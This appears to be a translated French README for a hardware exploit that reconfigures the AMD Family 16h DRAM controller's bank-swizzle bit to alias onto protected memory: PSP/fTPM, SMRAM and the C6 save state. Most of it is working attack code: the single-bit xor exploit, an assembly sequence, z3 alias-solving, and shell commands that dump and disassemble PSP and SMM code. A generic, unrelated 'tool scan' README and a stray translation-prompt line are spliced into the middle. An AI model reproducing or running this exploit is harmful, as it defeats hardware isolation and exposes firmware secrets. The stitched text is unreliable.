
Débloquer _tout_ sur le CPU avec le brouillage DRAM
Débloquer tout sur le CPU avec le brouillage DRAM — PSP, C6, microcode, SMM, et tout ce que les spécifications ont omis.
&x == &x.
Habituellement.

Manipulez le contrôleur DRAM et une adresse peut être amenée à atterrir où vous voulez en
mémoire. skitter-creek-bath-salts modifie les couches inférieures de la hiérarchie
mémoire pour recâbler les traductions d'adresses DRAM physiques. Cela brouille
la mémoire de la plateforme, exposant des régions protégées de la DRAM — des carveouts invisibles même
au noyau. Quand les traductions d'adresses se cassent, les primitives de sécurité
construites sur elles se cassent aussi, et nous débloquons tout.
Développé et testé sur les CPU AMD Family 16h, la dernière génération dont les
fiches techniques documentent les registres de traduction du contrôleur DRAM — et montrent qu'ils
ne peuvent pas être verrouillés. 17h et au-delà omettent simplement cette information. L'
odyssée de *p est similaire à travers les générations et
architectures, et les transformations sous-jacentes s'étendent même à ARM, RISC-V, et
au-delà ; skitter-creek-bath-salts nous montre seulement comment commencer.
*pC'est un long chemin vers le bas.
La mémoire est construite sur des couches d'abstraction si profondes qu'elles deviennent presque
absurdes. Quand votre code déréférence *p, il semble accéder à la DRAM à p. Ce n'est pas le cas —
p est une adresse virtuelle, et avant qu'un seul bit de DRAM ne soit touché, elle doit
survivre au parcours du combattant ci-dessous :```
── CPU core / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual address from load/store
│
└> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47
┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
hit → physical address k │
miss → engage hardware page walker │
┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leaf possible
│ PD [VA 29:21] ← 2 MiB leaf possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
write (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per single guest walk │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── physical address k <─────────────────┘
│
│ ── CPU core / MMU — memory-type resolution ────────────────────────
│
└> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to peer cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory response │ ← data | intervention | abort
│
── system data fabric / interconnect ──────────────────────────────
│
┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn
│ → device BAR; done
│
└> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM
E ┃ │
┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)
Ce projet opère aux niveaux les plus profonds du pipeline `*p`, la couche MCT/DCT
— où une adresse physique issue du data fabric/interconnect entre dans le contrôleur
mémoire et est réécrite une dernière fois en coordonnées DRAM brutes qui sont
émises vers le DIMM.
---
## Spaghettifier la DRAM
> Les adresses physiques sont vraiment plus une suggestion qu'autre chose.```nasm
xor dword [0xf80c2094], 0x00400000
Voilà l’exploit. Tout entier.
Un seul bit-flip dans le contrôleur DRAM reconfigure le bas du pipeline *p, et
la donnée qui se trouvait à &x se retrouve ailleurs en cours de route. Soudain, &x != &x.
Tous les mécanismes que le CPU, le firmware, l’uncore et le chipset utilisent pour isoler la mémoire
protégée se situent au-dessus du contrôleur mémoire, et aucun d’eux ne voit ce qui se passe en dessous.
Les barrières protègent les adresses physiques, pas les coordonnées DRAM ; réorganisez les
coordonnées et les barrières au-dessus ne s’en aperçoivent jamais.
Mais recâbler la DRAM est facile. Le bit ci-dessus est le bank-swizzle-mode dans le DCT, et ce n’est qu’un parmi des dizaines qui contrôlent les remappages d’adresses à la couche finale — il suffit de les manipuler pour faire s’effondrer tout ce qui est construit au-dessus. La partie la plus difficile est ensuite de maintenir la plateforme en fonctionnement alors que l’intégralité de la mémoire système est brouillée en dessous.
L’astuce : être rapide, et ne pas toucher à la DRAM. Désactiver les APs, amorcer les TLBs, préchauffer le cache, désactiver les interruptions, vider la cible, sérialiser les accès mémoire, et espérer que le CPU a préchargé les instructions à venir. Ensuite, recâbler le MCT/DCT pour transformer la DRAM en spaghettis, récupérer des données depuis la région protégée, rétablir les mappings, sérialiser à nouveau, activer les interruptions, reprendre les APs, et la plateforme revient à la normale.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on
Avec une configuration soignée de la pagination, des états de cache, du threading et des TLB, le brouillage d'adresses peut être fait fonctionner depuis C, pour illustrer l'effondrement du pipeline `*p`, et la vue corrompue de la plateforme lorsque soudain `&x != &x` :

Nous pouvons donc recâbler la carte et la restaurer sans laisser de trace. Il ne reste plus qu'à savoir en quoi nous l'avons recâblée.
---
## Déverrouiller *tout*
> Chaque région mémoire protégée de la plateforme, accessible avec une calculatrice.
Avec l'approche ci-dessus, nous pouvons reprogrammer la transformation MCT/DCT sur un système en cours d'exécution — en réorganisant l'étage le plus bas du pipeline `*p` pour brouiller la mémoire sous chaque protection construite au-dessus.
Mais il y a un défi : bien que nous puissions reprogrammer la traduction avec un simple `xor dword [0xf80c2094], 0x00400000`, nous n'avons aucune idée des nouvelles transformations que le MCT/DCT utilisera (les fiches techniques sont sous-spécifiées ici — les cartes xor sont erronées, l'étage soustractif MMIO est non ordonné, et les détails varient selon les modèles). Sans cela, la mémoire est brouillée, mais nous n'avons aucun moyen de la reconstruire.
Heureusement, la transformation d'adresse du contrôleur DRAM est une application linéaire sur GF(2), ce qui signifie que nous pouvons reconstruire la mémoire brouillée avec de l'algèbre linéaire élémentaire.
Considérons d'abord le cas normal : la transformation directe de la configuration MCT/DCT par défaut est appliquée à une adresse physique, qui atterrit sur un secret en DRAM :```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
Voici la vue cohérente de la mémoire : l'étage le plus bas du pipeline *p
fonctionne exactement comme il le devrait.
Maintenant, recâblez l'étage MCT/DCT de *p avec xor dword [0xf80c2094], 0x00400000,
et la plateforme entre dans une vue brouillée/spaghettifiée de la mémoire où une
transformation différente permet à un alias d'atteindre le même secret DRAM :```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
Cet alias nous permet d'atteindre le même secret sans heurter les verrous et défenses de plateforme existants conçus pour la vue cohérente. Pour trouver l'alias, composez l'inverse du hash attaquant/spaghettifié avec le forward du hash firmware/cohérent, afin d'obtenir la translation qui atteindra n'importe quel secret depuis la configuration malveillante MCT/DCT :```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
Le seul problème est que les matrices sont inconnues, ce qui signifie que nous n'avons aucune idée de la façon dont la mémoire est réellement brouillée, et aucune transformation à utiliser pour atteindre le secret en premier lieu :``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias
Heureusement, à ce stade, ce n'est que de l'algèbre linéaire, et vous pourriez résoudre les transformations à la main si vous le souhaitez. Ou : une calculatrice.
Nous utilisons [z3](https://github.com/z3prover/z3). D'abord, le solveur SMT a besoin de contraintes avec lesquelles travailler.
Commencez dans la vue cohérente, modifiez le MCT/DCT pour basculer vers la vue spaghettifiée, déposez une valeur sentinelle comme `0xdeadc0de` dans une adresse aléatoire en mémoire, rebasculez vers la vue cohérente, et parcourez la mémoire pour trouver où la sentinelle réapparaît. Cela donne une paire (cible, alias) — un point de donnée concret montrant deux adresses physiques qui correspondent à la même cellule en DRAM. Répétez le processus, rassemblez une poignée de données, passez-les à z3, et il résout la matrice de transformation nécessaire pour convertir entre les deux vues — toute adresse physique de la vue cohérente d'un côté, son alias dans la vue spaghettifiée de l'autre :```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
Alimenter z3 avec des paires d'alias une par une nous permet d'observer le solveur SMT déchiffrer le brouillage mémoire en temps réel, comme le montre l'image d'ouverture.
La transformation résolue est une pierre de Rosette : toute adresse cible dans la vue cohérente se mappe vers un alias qui atteint la même DRAM dans la vue spaghettifiée. Pour atteindre n'importe quelle mémoire protégée, prenez une adresse que nous ne pouvons normalement pas toucher — mémoire privée PSP, SMRAM, l'état d'inactivité C6 — et faites-la passer par la transformation pour obtenir son alias. Ensuite, reconfigurez le DCT avec xor dword [0xf80c2094], 0x00400000, lisez ou écrivez l'alias, et revenez en arrière avec un second xor. Le chemin de l'alias à travers le pipeline *p ne rencontre jamais de barrière que la plateforme a construite pour la vue cohérente — accès non restreint à tout ce qui se trouve dans la DRAM.

Au final, tout ce qui a été si soigneusement cloisonné — mémoire privée PSP, SMRAM, l'état d'inactivité C6, inaccessible depuis l'OS, ring-0, parfois le CPU lui-même — repose toujours dans les mêmes condensateurs DRAM. Mais les verrous ont été construits autour de la vue cohérente de la mémoire, et ne font rien contre un alias spaghettifié atteignant la même cellule.
Basculez un seul bit dans le niveau final du pipeline *p, et nous avons tout déverrouillé.
Manipulez votre PSP, voyez ce qui se passe.
Le fTPM s'exécute sur le cœur ARM propre au PSP, dans un carveout DRAM juste après le sommet visible de la mémoire. Atteignez-le en aliasant une adresse physique visible par l'OS sur celui-ci, extrayez les octets, désassemblez.```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin
Veuillez fournir le contenu Markdown à traduire.```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4: b5f0 push {r4, r5, r6, r7, lr}
7f8019d6: b0e5 sub sp, #404
7f8019de: 2280 movs r2, #128 ; 1024-bit operand
7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA)
7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB)
7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself
7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22: f000 fef5 bl 0x7f802810 ; log error
7f801a2e: f001 e92a blx 0x7f802c84 ; export result
7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
C'est le moteur RSA du PSP — le modexp derrière chaque signature fTPM, et derrière les tests de Miller-Rabin qui génèrent ses clés — extrait de la mémoire que le PSP est censé posséder seul, isolé au niveau du contrôleur mémoire, opaque même pour le ring-0. Modifiez-le comme bon vous semble.
Lisez ce que le SMM dissimule.
Le vecteur d'entrée du gestionnaire SMI se trouve à SMBASE + 0x8000. SMBASE est dans
le MSR 0xc0010111. Lisez-le, récupérez les octets via la carte d'alias, et envoyez-les
directement dans un désassembleur :```sh
./userspace/platform_check || exit 1
sudo modprobe msr
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
| `-s` | `--server` | `SERVER` | `http://localhost:8080` | URL du serveur cible |
| `-t` | `--token` | `TOKEN` | | Jeton d'authentification |
| `-o` | `--output` | `FILE` | `stdout` | Fichier de sortie |
| `-v` | `--verbose` | | | Activer la sortie détaillée |
| `-q` | `--quiet` | | | Supprimer la sortie non essentielle |
| `-f` | `--format` | `FORMAT` | `json` | Format de sortie (json, yaml, csv) |
| `-c` | `--config` | `FILE` | `~/.config/tool/config.yaml` | Chemin du fichier de configuration |
| `-n` | `--dry-run` | | | Simuler sans exécuter |
| `-y` | `--yes` | | | Répondre automatiquement oui aux invites |
| `-d` | `--debug` | | | Activer la journalisation de débogage |
| `-h` | `--help` | | | Afficher le message d'aide |
| `-V` | `--version` | | | Afficher les informations de version |
### Exemples
```bash
# Exécution de base
tool scan --target example.com
# Avec jeton d'authentification
tool scan --target example.com --token "your-api-token"
# Sortie vers un fichier
tool scan --target example.com --output results.json
# Mode détaillé
tool scan --target example.com --verbose
# Format de sortie personnalisé
tool scan --target example.com --format yaml
# Utilisation d'un fichier de configuration
tool scan --config /path/to/config.yaml
# Exécution à blanc
tool scan --target example.com --dry-run
L'outil prend en charge un fichier de configuration pour définir les options par défaut :
# ~/.config/tool/config.yaml
server: http://localhost:8080
token: your-api-token
output: results.json
format: json
verbose: false
quiet: false
timeout: 30
retries: 3
L'outil prend en charge plusieurs formats de sortie :
{
"target": "example.com",
"status": "success",
"findings": [
{
"id": "FINDING-001",
"severity": "high",
"title": "Exemple de vulnérabilité",
"description": "Description détaillée de la vulnérabilité",
"remediation": "Étapes pour corriger le problème"
}
],
"metadata": {
"scan_time": "2024-01-01T00:00:00Z",
"duration": "1.5s",
"version": "1.0.0"
}
}
target: example.com
status: success
findings:
- id: FINDING-001
severity: high
title: Exemple de vulnérabilité
description: Description détaillée de la vulnérabilité
remediation: Étapes pour corriger le problème
metadata:
scan_time: "2024-01-01T00:00:00Z"
duration: "1.5s"
version: "1.0.0"
id,severity,title,description,remediation
FINDING-001,high,Exemple de vulnérabilité,Description détaillée de la vulnérabilité,Étapes pour corriger le problème
Problème : Connexion refusée
Solution : Vérifiez que le serveur est en cours d'exécution et que l'URL est correcte.
# Vérifier si le serveur est en cours d'exécution
curl -I http://localhost:8080/health
Problème : Échec de l'authentification
Solution : Vérifiez que votre jeton est valide et non expiré.
# Tester le jeton
curl -H "Authorization: Bearer your-api-token" http://localhost:8080/api/verify
Problème : Délai d'attente dépassé
Solution : Augmentez la valeur du délai d'attente dans le fichier de configuration ou via l'option en ligne de commande.
tool scan --target example.com --timeout 60
Problème : Permission refusée
Solution : Assurez-vous de disposer des permissions nécessaires pour accéder aux ressources.
# Vérifier les permissions
ls -la /path/to/resource
Activez la journalisation de débogage pour obtenir des informations détaillées :
tool scan --target example.com --debug
Ou définissez la variable d'environnement :
export TOOL_DEBUG=true
tool scan --target example.com
Les contributions sont les bienvenues ! Veuillez consulter le fichier CONTRIBUTING.md pour plus de détails.
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)Lorsque vous signalez un problème, veuillez inclure :
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Cet outil est destiné à des fins de test de sécurité et d'évaluation autorisés uniquement. Les utilisateurs sont responsables du respect de toutes les lois et réglementations applicables. Les auteurs ne sont pas responsables de toute utilisation abusive ou dommage causé par cet outil.```nasm ; SMI entry stub — the first thing a core executes when entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the core into protected mode jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> flat data segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; install the SMM stack o32 push byte +0x10 ; far-return frame: CS = code selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper
Ces instructions s'exécutent en ring -2, le contexte le plus privilégié du CPU,
dans une mémoire que le chipset est censé rendre illisible. Le SMRAM « verrouillé »
s'avère être une aimable suggestion quand on peut parler directement au contrôleur
DRAM.
Remplacez `2x4gb` par le préfixe dans `data/maps/` qui correspond à vos DIMM
installés (`sudo dmidecode -t memory`). Si votre topologie n'y figure pas, lancez
`analysis/gather_aliases.py` puis `analysis/unspaghettify.py` pour générer la vôtre.
---
## Démarrage rapide : déverrouiller la DRAM en C6
> *Je n'ai aucune idée de ce qui se trouve ici et je ne l'ai jamais vu discuté, probablement
> des registres internes du CPU. Amusez-vous bien.*
Lorsque les cœurs passent en power-gate vers C6, le contexte architectural x86 complet de chacun est
stocké ici pour restauration.```sh
./userspace/platform_check || exit 1
